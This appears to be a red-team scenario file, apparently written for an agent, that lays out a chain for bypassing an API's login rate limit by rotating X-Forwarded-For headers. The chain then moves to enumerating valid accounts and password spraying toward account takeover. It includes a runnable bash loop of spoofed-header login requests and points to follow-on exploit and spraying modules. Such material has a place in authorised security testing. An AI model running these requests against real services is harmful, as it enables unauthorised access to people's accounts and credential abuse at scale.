---
name: rt-scenario-a004
description: "Scenario A004 — API: Rate limit bypass via header manipulation → account enumeration and password spraying at scale."
---

# Scenario A004: Rate Limit Bypass → Account Enumeration

**Domain**: API Security | **Severity**: High | **CVSS**: 7.5

## Chain
```
Find rate limit (429) → bypass via X-Forwarded-For rotation →
enumerate valid accounts → password spray → account takeover
```

## Key Test
```bash
# Test rate limit bypass headers
for ip in 1.2.3.{1..100}; do
  curl -X POST https://{target}/api/auth/login \
    -H "X-Forwarded-For: $ip" \
    -d '{"email":"test@test.com","password":"wrong"}'
done
# If no 429 → rate limit bypassed

# Then enumerate: vary email, same password
```
→ `rt-exploit-api` → `rt-password-spray`
